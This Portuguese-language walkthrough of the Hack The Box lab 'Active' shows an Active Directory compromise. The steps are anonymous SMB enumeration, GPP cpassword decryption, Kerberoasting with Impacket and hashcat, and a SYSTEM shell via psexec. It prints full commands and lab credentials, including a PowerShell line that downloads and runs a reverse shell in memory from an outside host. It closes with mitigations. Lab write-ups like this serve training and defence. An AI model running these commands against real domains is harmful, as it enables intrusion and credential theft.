Active
Introdução
Active é uma máquina Windows de dificuldade Easy da plataforma Hack The Box, centrada em falhas clássicas e extremamente comuns em ambientes Active Directory. O IP alvo utilizado durante o teste foi 10.10.10.100.
O caminho de exploração passa por um compartilhamento SMB anônimo onde fica exposto um arquivo Groups.xml de uma Group Policy Preference (GPP) contendo uma senha criptografada (cpassword). Como a chave AES usada pela Microsoft para essa criptografia foi publicada publicamente, a senha pode ser decifrada trivialmente. Com essa credencial de baixo privilégio em mãos, é possível realizar um ataque de Kerberoasting contra a conta Administrator, obter o hash do ticket de serviço, quebrá-lo offline e assumir o controle total do domínio.
Escaneamento
O primeiro passo foi um escaneamento completo de portas com nmap, seguido de detecção de serviços e versões nas portas encontradas:
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.100 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -p $ports 10.10.10.100
O escaneamento revelou portas típicas de um Domain Controller Windows: DNS (53), Kerberos (88), RPC (135), NetBIOS/SMB (139/445), LDAP (389/3268), kpasswd (464), entre outras. O nome de domínio active.htb também foi identificado, e foi adicionado ao /etc/hosts para resolução correta durante o restante do teste.
Enumeração
SMB - TCP 139/445
Com o domínio confirmado, o próximo passo foi enumerar os compartilhamentos SMB expostos, usando smbclient de forma anônima (sem credenciais):
smbclient -N -L //10.10.10.100
O compartilhamento Replication chamou atenção por estar acessível sem autenticação. Ao navegar por ele:
smbclient -N //10.10.10.100/replication
Dentro da estrutura de diretórios, o arquivo mais interessante encontrado foi:
/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
O conteúdo do arquivo trazia um nome de usuário e uma senha criptografada:
userName="active.htb\SVC_TGS"
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
Isso é a assinatura clássica de uma falha em Group Policy Preferences (GPP), detalhada mais adiante na seção de exploração.
Exploração
GPP cpassword (CVE-2014-1812)
Sempre que uma Group Policy Preference é criada, o Windows gera um arquivo XML no compartilhamento SYSVOL contendo os dados de configuração daquela política — incluindo eventuais senhas associadas, como as usadas para criar contas locais ou mapear drives. Por questões de “segurança”, a Microsoft criptografava essa senha com AES antes de salvá-la no campo cpassword. O problema é que a chave AES estática usada nesse processo foi documentada publicamente pela própria Microsoft na MSDN, o que torna a criptografia completamente reversível por qualquer pessoa que tenha acesso ao arquivo.
A Microsoft lançou uma correção em 2014 (associada à CVE-2014-1812) que impede a criação de novas senhas em GPP, mas isso não afeta arquivos GPP antigos que já existiam antes da atualização — e é exatamente esse tipo de resíduo que foi encontrado no compartilhamento Replication, acessível anonimamente.
Como a chave é pública, a senha pôde ser decifrada diretamente com a ferramenta gpp-decrypt, presente por padrão no Kali Linux:
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
O resultado revelou a senha em texto claro do usuário active.htb\SVC_TGS: GPPstillStandingStrong2k18.
Acesso com as credenciais do SVC_TGS
Com usuário e senha válidos, a enumeração do SMB foi refeita, agora autenticada:
smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
Agora com acesso a três compartilhamentos adicionais: NETLOGON, SYSVOL e Users. Explorando o compartilhamento Users:
smbclient //10.10.10.100/Users -U "active.htb\SVC_TGS%GPPstillStandingStrong2k18"
O compartilhamento Users corresponde ao diretório C:\Users da máquina. Dentro de /SVC_TGS/Desktop/ foi possível obter a flag user.txt.
Kerberoasting
Com uma conta de domínio válida em mãos, o passo seguinte foi realizar um ataque de Kerberoasting: solicitar tickets de serviço (TGS) para contas com Service Principal Name (SPN) registrado e tentar quebrar offline o hash desses tickets, que são cifrados com o hash da senha da conta de serviço associada. Diferente de um AS-REP Roasting, esse ataque exige credenciais válidas de domínio (que já tínhamos, graças ao GPP). Usando o Impacket, foi possível listar as contas com SPN associado e já salvar o ticket para quebra offline:
impacket-GetUserSPNs -request -dc-ip 10.10.10.100 active.htb/SVC_TGS -save -outputfile GetUserSPNs.out
O comando identificou a conta Administrator como possuidora de um SPN (active/CIFS:445), e gravou o ticket TGS correspondente no arquivo de saída:
cat GetUserSPNs.out
Com o hash do ticket em mãos, a quebra foi feita offline com hashcat, usando a wordlist rockyou.txt:
hashcat -m 13100 -a 0 GetUserSPNs.out /usr/share/wordlists/rockyou.txt --force
O hashcat quebrou o hash com sucesso, revelando a senha da conta Administrator: Ticketmaster1968.
Pós-exploração
Com credenciais administrativas de domínio, o acesso completo foi obtido via psexec do Impacket, que faz upload de um serviço para a máquina alvo e retorna um shell interativo com privilégios de SYSTEM:
impacket-psexec active.htb/administrator@10.10.10.100
# senha: Ticketmaster1968
Com o shell como NT AUTHORITY\SYSTEM, o acesso à máquina estava completo, permitindo a leitura da flag root.txt no desktop do Administrator e o comprometimento total do domínio active.htb.
Como alternativa para obter um shell mais interativo, também foi possível fazer o download e execução de um shell reverso em PowerShell diretamente em memória:
powershell -c iex(new-object system.net.webclient).downloadstring('http://10.10.14.11/powercat.ps1')
Anexos
Ferramentas e scripts utilizados ao longo do teste:
nmap— varredura de portas e detecção de serviços/versõessmbclientesmbmap— enumeração e acesso a compartilhamentos SMBgpp-decrypt— decriptação de senhas GPP usando a chave AES pública da Microsoft- Impacket
GetUserSPNs.py(impacket-GetUserSPNs) — enumeração de contas com SPN e extração de tickets TGS para Kerberoasting hashcat(modo13100, Kerberos 5 TGS-REP etype 23) — quebra offline do hash do ticket Kerberos- Impacket
psexec.py(impacket-psexec) — execução remota de comandos/shell via SMB com credenciais administrativas powercat.ps1— shell reverso em PowerShell usado como alternativa de acesso interativo
Mitigação
- Remover senhas de GPP legadas: qualquer
Groups.xmlou outro arquivo de preferência de política que ainda contenha o atributocpassworddeve ser localizado no SYSVOL e removido. A correção da Microsoft (MS14-025 / CVE-2014-1812) apenas impede a criação de novas senhas em GPP, não remove as já existentes. - Nunca usar GPP para distribuir credenciais: a chave AES usada para “criptografar” o campo
cpasswordé pública, portanto qualquer usuário com leitura no SYSVOL pode decifrar a senha. Contas de serviço e senhas locais devem ser provisionadas por outros meios (LAPS, gMSA, cofres de credenciais). - Restringir acesso anônimo a compartilhamentos SMB: o compartilhamento
Replicationestava acessível sem autenticação. Null sessions e acesso anônimo a shares devem ser desabilitados, e permissões de compartilhamento revisadas periodicamente. - Reduzir a superfície de Kerberoasting: contas de serviço com SPN configurado devem usar senhas longas, aleatórias e trocadas periodicamente (idealmente via Group Managed Service Accounts — gMSA), tornando a quebra offline do hash TGS inviável.
- Monitorar solicitações de tickets de serviço: implementar detecção para volumes anômalos de requisições TGS (Event ID 4769) por uma única conta em curto intervalo, característico de ataques de Kerberoasting.
- Aplicar o princípio do menor privilégio: a conta comprometida (
SVC_TGS) não deveria ter path de escalonamento direto até privilégios que permitissem Kerberoasting bem-sucedido contra oAdministrator; revisar delegações e memberships de grupos sensíveis como “Group Policy Creator Owners”.